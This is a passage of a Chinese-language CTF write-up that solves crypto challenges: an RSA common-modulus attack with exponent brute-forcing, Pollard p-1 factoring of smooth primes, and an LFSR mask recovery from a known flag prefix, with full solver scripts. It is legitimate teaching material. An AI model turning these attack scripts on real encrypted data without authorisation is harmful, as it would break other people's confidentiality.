]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">solved = fsolve(solve_function, [<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>,<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>,<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>])</span><br><span class="line"><span class="built_in">print</span>(solved)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> solved[:<span class="number">21</span>]:</span><br><span class="line"> <span class="built_in">print</span>(<span class="built_in">chr</span>(<span class="built_in">int</span>(<span class="built_in">round</span>(i))),end=<span class="string">""</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>得到FLAG:<code>NSSCTF{Z3_Is_So_Easy}</code></p><h2 id="CRYPTO">CRYPTO</h2><h3 id="脚本跑不出来了吧">脚本跑不出来了吧</h3><p>题目:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">e1*e2= <span class="number">59653</span></span><br><span class="line">n= <span class="number">16282992590526808657350657123769110323293742472515808696156540766049532922340638986423163288656942484229334024198335416611687418341772216996129634991032127943095069143600315325916614910606100091970611448259491799589221889445348698100959509165262891180065554743420149168801638644589921791426690475846945077068114953844817073866258377206796158690941199907230130273657375727245023893672164113928189304228859412794067127721813637080447782673535996272223836127807775157150041664783263093604946744032762535394974814371771505843653571711445892969781888188805943142126747365056482511805191315474848971218180999336497135314654469910566730389765499603897685968204361422568601724914800686608628299192714352963744010136960423806304763245890692476493455775025753944860040020178234660999290356849442926396627701588938894161779071628447041006556793933320976506046066961014953196791133933438500843139378274786265308568167479880984705152809744111382599071097574636570516674122980589207824718402382459624138317432883921371298272851693734695823787102433937406420318428888224246291987404818042038201886113203158444083427668636941</span></span><br><span class="line">c1= <span class="number">15508846802476602732219982269293312372397631462289816533805702700260237855119470146237752798828431803179124957728439730580289236458563016332461725094295883030444173189424666004498359269921250956676320570006883951982237098373954348825003467019876101438948387668628518937831820206221522881150831840296199498447304138839838135264071071817072965792514115711621435317078108239744829134467948386247696344881838815422262901903767893118533887779588425725845820071451782420200868341564360095012698956683395031351656817392008005928265838760875070634021907630535014959579709368637536268853337028760833769278841040734409299575870823873616769863828516877971432999417800417684146077045836940988096634144368727546539602310924702126212020003620219218637652874119299016382481718659448722433296761241365473608283436835986184098161365747699791248301452334044327014782249692551362625130537300221641910570569803981153117200694806974917501061411963827755822672178568783269357196133308719688843211664095412087717861154226475203597889635926903753481174280305996204091501578865951177135086807765873529089048911740160698421289371229606</span></span><br><span class="line">c2= <span class="number">7038544062804420883340530319534054090343999593726615071597649914714397773106261660516938820194721330117082799104642674913839235601210294807255855747823709326405317366422536981850436536877639492293904186333547681934006229055311359852552059601531864585759120757265084674695094298158389804437120173997679271166467086009884419942249925895393890707373985126949313101489352481737754459985522998334847972008827503987883850638250024631354158979424169551575287515128697843093987592614974905262077415255065744686115142126350167970451060399517705823298929164793769442986603707135790651560436497661713972277808036463771768932747376668116480068277125579165831615220097562066809632099809702980365194257899499384219864311379004681733844738981954144617140038448109869114888325128710654235506628539192955240723379334422880368605005772426413018696218105733457019400100498450734710865067764542737004071080719589912326985050985424145053072697267879019954400205613591419766583673115931337146967400159040252514654983240188915104134405655336152730443436887872604467679522955837013574944135975481174502094839012368918547420588186051</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>首先分解质因数</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> math</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输入一个正整数</span></span><br><span class="line">n = <span class="number">59653</span></span><br><span class="line"><span class="comment"># 创建一个空列表,用于存储质因数</span></span><br><span class="line">prime_factors = []</span><br><span class="line"></span><br><span class="line"><span class="comment"># 循环判断该正整数是否可以被2整除</span></span><br><span class="line"><span class="keyword">while</span> n % <span class="number">2</span> == <span class="number">0</span>:</span><br><span class="line"> <span class="comment"># 如果可以被2整除,将2添加到质因数列表中</span></span><br><span class="line"> prime_factors.append(<span class="number">2</span>)</span><br><span class="line"> <span class="comment"># 将该正整数除以2,更新n的值</span></span><br><span class="line"> n = n / <span class="number">2</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 循环判断该正整数是否可以被其他素数整除</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>, <span class="built_in">int</span>(math.sqrt(n))+<span class="number">1</span>, <span class="number">2</span>):</span><br><span class="line"> <span class="comment"># 如果可以被素数i整除,将i添加到质因数列表中</span></span><br><span class="line"> <span class="keyword">while</span> n % i == <span class="number">0</span>:</span><br><span class="line"> prime_factors.append(i)</span><br><span class="line"> <span class="comment"># 更新n的值</span></span><br><span class="line"> n = n / i</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果n大于2,说明剩下的数也是质因数,将其添加到质因数列表中</span></span><br><span class="line"><span class="keyword">if</span> n > <span class="number">2</span>:</span><br><span class="line"> prime_factors.append(n)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出质因数列表</span></span><br><span class="line"><span class="built_in">print</span>(prime_factors)</span><br><span class="line"><span class="comment">#输出:[11, 11, 17, 29]</span></span><br></pre></td></tr></table></figure><p>共模攻击</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line"> </span><br><span class="line">c1=</span><br><span class="line">e1=</span><br><span class="line">c2=</span><br><span class="line">e2=</span><br><span class="line"></span><br><span class="line"><span class="comment">#扩展欧几里得算法</span></span><br><span class="line"><span class="comment">#return (r,x,y) 其中,r为a和b的最大公约数,xy满足ax + by = 1</span></span><br><span class="line">r, s1, s2 = gmpy2.gcdext(e1, e2) <span class="comment">#计算s1,s2</span></span><br><span class="line">m = (gmpy2.powmod(c1,s1,n)*gmpy2.powmod(c2,s2,n)) % n <span class="comment">#计算明文m</span></span><br><span class="line"></span><br><span class="line">m = <span class="built_in">hex</span>(m)[<span class="number">2</span>:]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">"明文数据为:0x"</span> + m)</span><br><span class="line">flag = binascii.unhexlify(m)</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><p>payload:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">e1e2= <span class="number">59653</span></span><br><span class="line">n= <span class="number">16282992590526808657350657123769110323293742472515808696156540766049532922340638986423163288656942484229334024198335416611687418341772216996129634991032127943095069143600315325916614910606100091970611448259491799589221889445348698100959509165262891180065554743420149168801638644589921791426690475846945077068114953844817073866258377206796158690941199907230130273657375727245023893672164113928189304228859412794067127721813637080447782673535996272223836127807775157150041664783263093604946744032762535394974814371771505843653571711445892969781888188805943142126747365056482511805191315474848971218180999336497135314654469910566730389765499603897685968204361422568601724914800686608628299192714352963744010136960423806304763245890692476493455775025753944860040020178234660999290356849442926396627701588938894161779071628447041006556793933320976506046066961014953196791133933438500843139378274786265308568167479880984705152809744111382599071097574636570516674122980589207824718402382459624138317432883921371298272851693734695823787102433937406420318428888224246291987404818042038201886113203158444083427668636941</span></span><br><span class="line">c1= <span class="number">15508846802476602732219982269293312372397631462289816533805702700260237855119470146237752798828431803179124957728439730580289236458563016332461725094295883030444173189424666004498359269921250956676320570006883951982237098373954348825003467019876101438948387668628518937831820206221522881150831840296199498447304138839838135264071071817072965792514115711621435317078108239744829134467948386247696344881838815422262901903767893118533887779588425725845820071451782420200868341564360095012698956683395031351656817392008005928265838760875070634021907630535014959579709368637536268853337028760833769278841040734409299575870823873616769863828516877971432999417800417684146077045836940988096634144368727546539602310924702126212020003620219218637652874119299016382481718659448722433296761241365473608283436835986184098161365747699791248301452334044327014782249692551362625130537300221641910570569803981153117200694806974917501061411963827755822672178568783269357196133308719688843211664095412087717861154226475203597889635926903753481174280305996204091501578865951177135086807765873529089048911740160698421289371229606</span></span><br><span class="line">c2= <span class="number">7038544062804420883340530319534054090343999593726615071597649914714397773106261660516938820194721330117082799104642674913839235601210294807255855747823709326405317366422536981850436536877639492293904186333547681934006229055311359852552059601531864585759120757265084674695094298158389804437120173997679271166467086009884419942249925895393890707373985126949313101489352481737754459985522998334847972008827503987883850638250024631354158979424169551575287515128697843093987592614974905262077415255065744686115142126350167970451060399517705823298929164793769442986603707135790651560436497661713972277808036463771768932747376668116480068277125579165831615220097562066809632099809702980365194257899499384219864311379004681733844738981954144617140038448109869114888325128710654235506628539192955240723379334422880368605005772426413018696218105733457019400100498450734710865067764542737004071080719589912326985050985424145053072697267879019954400205613591419766583673115931337146967400159040252514654983240188915104134405655336152730443436887872604467679522955837013574944135975481174502094839012368918547420588186051</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> libnum</span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rsa_gong_N_def</span>(<span class="params">e1,e2,c1,c2,n</span>): <span class="comment">#共模攻击函数</span></span><br><span class="line"> e1, e2, c1, c2, n=<span class="built_in">int</span>(e1),<span class="built_in">int</span>(e2),<span class="built_in">int</span>(c1),<span class="built_in">int</span>(c2),<span class="built_in">int</span>(n)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"e1,e2:"</span>,e1,e2)</span><br><span class="line"> s = gmpy2.gcdext(e1, e2)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"mpz:"</span>,s)</span><br><span class="line"> s1 = s[<span class="number">1</span>]</span><br><span class="line"> s2 = s[<span class="number">2</span>]</span><br><span class="line"> <span class="keyword">if</span> s1 < <span class="number">0</span>:</span><br><span class="line"> s1 = - s1</span><br><span class="line"> c1 = gmpy2.invert(c1, n)</span><br><span class="line"> <span class="keyword">elif</span> s2 < <span class="number">0</span>:</span><br><span class="line"> s2 = - s2</span><br><span class="line"> c2 = gmpy2.invert(c2, n)</span><br><span class="line"> m = (<span class="built_in">pow</span>(c1,s1,n) * <span class="built_in">pow</span>(c2 ,s2 ,n)) % n</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">int</span>(m)</span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">de</span>(<span class="params">c, e, n</span>): <span class="comment">#因为此时的m不是真正的m,而是m^k,所以对m^k进行爆破</span></span><br><span class="line"> k = <span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span> k<<span class="number">1000</span>: <span class="comment">#指定k小于1000</span></span><br><span class="line"> mk = c + n*k</span><br><span class="line"> flag, true1 = gmpy2.iroot(mk, e) <span class="comment">#返回的第一个数值为开方数,第二个数值为布尔型,可整除为true,可自行测试</span></span><br><span class="line"> <span class="keyword">if</span> <span class="literal">True</span> == true1:</span><br><span class="line"> <span class="comment"># print(libnum.n2s(int(flag)))</span></span><br><span class="line"> <span class="keyword">return</span> flag</span><br><span class="line"> k += <span class="number">1</span></span><br><span class="line"><span class="keyword">for</span> e1 <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>,e1e2):</span><br><span class="line"> <span class="keyword">if</span> e1e2%e1==<span class="number">0</span>: <span class="comment">#爆破可整除的e</span></span><br><span class="line"> e2=e1e2//e1</span><br><span class="line"> c=rsa_gong_N_def(e1, e2, c1, c2, n)</span><br><span class="line"> e=gmpy2.gcd(e1,e2)</span><br><span class="line"> m1=de(c, e, n)</span><br><span class="line"> <span class="keyword">if</span> m1: <span class="comment">#指定输出m1</span></span><br><span class="line"> <span class="built_in">print</span>(libnum.n2s(<span class="built_in">int</span>(m1)))</span><br></pre></td></tr></table></figure><h3 id="lf-rsa-sr">lf_rsa_sr</h3><p>题目:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> choice</span><br><span class="line"><span class="keyword">from</span> os <span class="keyword">import</span> urandom</span><br><span class="line"></span><br><span class="line">feedback_mask = ******</span><br><span class="line"><span class="keyword">assert</span> <span class="built_in">len</span>(<span class="built_in">str</span>(feedback_mask)) <= <span class="number">32</span></span><br><span class="line"></span><br><span class="line">m = feedback_mask</span><br><span class="line">a = getPrime(<span class="number">512</span>)</span><br><span class="line">b = getPrime(<span class="number">512</span>)</span><br><span class="line">k = getPrime(<span class="number">32</span>)</span><br><span class="line">p = ((k+a)**<span class="number">4</span>+(k+a)**<span class="number">3</span>+(k+a)**<span class="number">2</span>+(k+a)+<span class="number">231242352</span>) % (a*b)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">'p = '</span>, p)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">'ab = '</span>, a*b)</span><br><span class="line"></span><br><span class="line">flag1 = <span class="string">b'******'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># LFSR function</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">llfsrr</span>(<span class="params">state, feedback_mask</span>):</span><br><span class="line"> next_state = (state << <span class="number">1</span>) & <span class="number">0xffffffff</span> </span><br><span class="line"> feedback = (state & feedback_mask) & <span class="number">0xffffffff</span> </span><br><span class="line"> xor_bit = <span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span> feedback != <span class="number">0</span>:</span><br><span class="line"> xor_bit ^= (feedback & <span class="number">1</span>) </span><br><span class="line"> feedback >>= <span class="number">1</span></span><br><span class="line"> next_state ^= xor_bit </span><br><span class="line"> <span class="keyword">return</span> (next_state, xor_bit)</span><br><span class="line"></span><br><span class="line">initial_state = <span class="number">1</span></span><br><span class="line">flag_as_long = bytes_to_long(flag1)</span><br><span class="line">binary_flag = <span class="built_in">bin</span>(flag_as_long)[<span class="number">2</span>:]</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">"key"</span>, <span class="string">"w+"</span>, encoding=<span class="string">'utf-8'</span>) <span class="keyword">as</span> key_file:</span><br><span class="line"> <span class="keyword">for</span> bit <span class="keyword">in</span> binary_flag:</span><br><span class="line"> current_bit = <span class="built_in">int</span>(bit)</span><br><span class="line"> (initial_state, lfsr_output) = llfsrr(initial_state, feedback_mask)</span><br><span class="line"> key_file.write(<span class="built_in">str</span>(current_bit ^ lfsr_output)) </span><br><span class="line"><span class="comment"># p = 73515108045714666344001860101558385800349882792180140606592603088439550265071166567351475528158426766746200565441538406081674366925892686831206592858684173618980491036292100281711010850965673957327076695569842301727637924419527427779589268566258948939644792541104600776589709773705685843343341419036440801768</span></span><br><span class="line"><span class="comment"># ab = 133028959545211482152501101708562215612797147899580615824339592484818037428945295772409480227937528585371289173602963839506074668390037463702925971697501944005819952142410292753329490850990328554235909921364926076552372877939809947219674356595286773085595543880743152940230290553696310341884739463733886865577</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">flag2=<span class="string">b'******'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">myprime</span>(<span class="params">bits</span>):</span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> cnt = <span class="number">2</span></span><br><span class="line"> <span class="keyword">while</span> cnt.bit_length() < bits:</span><br><span class="line"> cnt *= choice(sieve_base)</span><br><span class="line"> candidate = cnt + <span class="number">1</span></span><br><span class="line"> <span class="keyword">if</span> isPrime(candidate):</span><br><span class="line"> <span class="keyword">return</span> candidate</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"></span><br><span class="line">p = myprime(<span class="number">1024</span>)</span><br><span class="line">q = myprime(<span class="number">1024</span>)</span><br><span class="line">n = p * q</span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">m = bytes_to_long(flag2)</span><br><span class="line">ct = <span class="built_in">pow</span>(m, e, n)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'n = <span class="subst">{n}</span>'</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'ct = <span class="subst">{ct}</span>'</span>)</span><br><span class="line"><span class="comment"># '''</span></span><br><span class="line"><span class="comment"># n = 1025916122557719762926206861582981716132100754096867092334312895046737396243747053840640227471945369592531230741440647916657808213143429931671470797768738170175359609251567706847661434511439181190814168669642899345498111533291763947186677187403064300118082929554115282767136871537847583765307514534246865961276002779749485709860332907561207641177866552290868871509408379385911052130221144348302087440589340427086318508306778750619282779572521106710411563781124926001100833726878755612144365813505101451278395475056142904309435318863706278105575584793706255483452186344080864081199083519735155124010867331098066073471238601</span></span><br><span class="line"><span class="comment"># ct = 798211762565128766472181899123173786689738448015948604693660744879364038949153274888677805791206221041396528220597383175497311985254759936491303811734308085966844370193489926018431896972163302888638359962220262076052571190641257628029387439899123697991403265399453543649360286152014734751588864427256100638642159727075919375903880429763859000639886095094959589003725833357813417448362366703049127289659199843024099091854763868749591394385912186505685369058536088620646628228386987906191214966170097612671274318881704680313659367899864970857770992719294796616275390444028397207511940866618177900453490944239450302263907110</span></span><br><span class="line"><span class="comment"># '''</span></span><br></pre></td></tr></table></figure><p>这道题考了两个知识点,RSA和LFRS,RSA可参考<a href="https://blog.csdn.net/m0_73725283/article/details/134702242">https://blog.csdn.net/m0_73725283/article/details/134702242</a><a href="http://xn--zP6-v68d575p.py">z中的P6.py</a></p><p>RSA_PAYLOAD:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> <span class="built_in">bytes</span> <span class="keyword">import</span> *</span><br><span class="line">n = <span class="number">1025916122557719762926206861582981716132100754096867092334312895046737396243747053840640227471945369592531230741440647916657808213143429931671470797768738170175359609251567706847661434511439181190814168669642899345498111533291763947186677187403064300118082929554115282767136871537847583765307514534246865961276002779749485709860332907561207641177866552290868871509408379385911052130221144348302087440589340427086318508306778750619282779572521106710411563781124926001100833726878755612144365813505101451278395475056142904309435318863706278105575584793706255483452186344080864081199083519735155124010867331098066073471238601</span></span><br><span class="line">c = <span class="number">798211762565128766472181899123173786689738448015948604693660744879364038949153274888677805791206221041396528220597383175497311985254759936491303811734308085966844370193489926018431896972163302888638359962220262076052571190641257628029387439899123697991403265399453543649360286152014734751588864427256100638642159727075919375903880429763859000639886095094959589003725833357813417448362366703049127289659199843024099091854763868749591394385912186505685369058536088620646628228386987906191214966170097612671274318881704680313659367899864970857770992719294796616275390444028397207511940866618177900453490944239450302263907110</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Pollards_p_1</span>(<span class="params">N</span>):</span><br><span class="line"> a = <span class="number">2</span> <span class="comment"># 为了快速计算以及满足费马小定理条件</span></span><br><span class="line"> n = <span class="number">2</span> <span class="comment"># 从1开始没必要</span></span><br><span class="line"> <span class="keyword">while</span> (<span class="literal">True</span>):</span><br><span class="line"> a = <span class="built_in">pow</span>(a, n, N) <span class="comment"># 递推计算a^B!</span></span><br><span class="line"> p = gcd(a - <span class="number">1</span>, N) <span class="comment"># 尝试计算p</span></span><br><span class="line"> <span class="keyword">if</span> p != <span class="number">1</span> <span class="keyword">and</span> p != N: <span class="comment"># 满足要求则返回</span></span><br><span class="line"> <span class="comment"># print(n)</span></span><br><span class="line"> <span class="keyword">return</span> p</span><br><span class="line"> n += <span class="number">1</span></span><br><span class="line"> </span><br><span class="line">p=Pollards_p_1(n)</span><br><span class="line">q=n//p</span><br><span class="line">phi=(p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line">d=invert(e,phi)</span><br><span class="line">m=powmod(c,d,n)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(m))</span><br><span class="line"><span class="comment">#输出:le_a3_It_lo0ks}</span></span><br></pre></td></tr></table></figure><p>RSA解得后半段的FLAG,接下来解LFSR</p><p>关于LFSR(线性反馈移位寄存器)之前没怎么遇到过,这里重点学习一下</p><p>一个标准的LFSR代码如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">lfsr</span>(<span class="params">R,mask</span>):</span><br><span class="line"> output = (R << <span class="number">1</span>) & <span class="number">0xffffff</span></span><br><span class="line"> i=(R&mask)&<span class="number">0xffffff</span></span><br><span class="line"> lastbit=<span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span> i!=<span class="number">0</span>:</span><br><span class="line"> lastbit^=(i&<span class="number">1</span>)</span><br><span class="line"> i=i>><span class="number">1</span></span><br><span class="line"> output^=lastbit</span><br><span class="line"> <span class="keyword">return</span> (output,lastbit)</span><br></pre></td></tr></table></figure><p>代码解释起来有点复杂,原理和详细的解释可参考<a href="https://blog.csdn.net/xiao__1bai/article/details/120392307">CTF中的LFSR考点(一)</a></p><p>我们这里可以通过<code>找规律</code>来快速明白这段代码究竟做了什么。</p><p>代码传入两个参数R和mask,传出两个参数output和lastbit,如果将函数看作一个加密流程的话,R可以理解为明文,mask为密钥,output和lastbit均为密文,同时output一般会作为下一轮加密的明文。</p><p>若mask的第i位(从右开始数)为1,则将R的i位参与异或之后得到lastbit,R左移一位并将lastbit放入最右侧得到output。</p><p>举个例子:mask=0b0011,R=0b1101</p><p>mask的第一位和第二位为1,则将R的第一位和第二位异或得到<code>0^1=1</code>,所以lastbit就等于1,output就等于<code>((R<<1) & 0xffffff)+lastbit=0b11011</code></p><p>多循环几轮就能很明显的看出规律了,并且可以发现在经过32轮循环后,output的值从左往右排分别就是第1轮到第32轮的lastbit(由于R最高32位,所以如果mask超过了32位,后续的位数不用管)</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">lfsr</span>(<span class="params">R,mask</span>):</span><br><span class="line"> output = (R << <span class="number">1</span>) & <span class="number">0xffffff</span></span><br><span class="line"> i=(R&mask)&<span class="number">0xffffff</span></span><br><span class="line"> lastbit=<span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span> i!=<span class="number">0</span>:</span><br><span class="line"> lastbit^=(i&<span class="number">1</span>)</span><br><span class="line"> i=i>><span class="number">1</span></span><br><span class="line"> output^=lastbit</span><br><span class="line"> <span class="keyword">return</span> (output,lastbit)</span><br><span class="line">mask = <span class="number">0b0011</span></span><br><span class="line">R = <span class="number">0b1101</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">35</span>):</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"<span class="subst">{<span class="built_in">bin</span>(R)}</span>:"</span>,end=<span class="string">""</span>)</span><br><span class="line"> R,lastbit = lfsr(R,mask)</span><br><span class="line"> <span class="built_in">print</span>(lastbit)</span><br></pre></td></tr></table></figure><p>输出</p><p><img src="image-20241016101449529.png" alt="image-20241016101449529"></p><p>带着这个规律我们回到题目,题目中的提示</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">a = getPrime(<span class="number">512</span>)</span><br><span class="line">b = getPrime(<span class="number">512</span>)</span><br><span class="line">k = getPrime(<span class="number">32</span>)</span><br><span class="line">p = ((k+a)**<span class="number">4</span>+(k+a)**<span class="number">3</span>+(k+a)**<span class="number">2</span>+(k+a)+<span class="number">231242352</span>) % (a*b)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">'p = '</span>, p)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">'ab = '</span>, a*b)</span><br></pre></td></tr></table></figure><p>这块似乎没什么用,我们可以删掉</p><p>R为1,mask未知,key.txt内的内容是每一轮的lastbit和flag异或得到的,想要知道flag,得到lastbit即可解出</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">key=<span class="string">"0111100010111111010100001001110010000010010110011010000000010000111010100110000101000100010011010111000110110000110101001101111100110010000010010010011010001011111000010101001110000001011000011000001010011101100100111100110110001000111111001000100110011011111001001001110011110001110001011000101"</span></span><br></pre></td></tr></table></figure><p>思路:我们需要知道mask的哪些位为1,猜测flag的前几位为<code>NSSCTF{</code>,利用这个条件我们可以得到前几位的lastbit值,然后利用lastbit进一步得到mask来推出后续的lastbit</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span 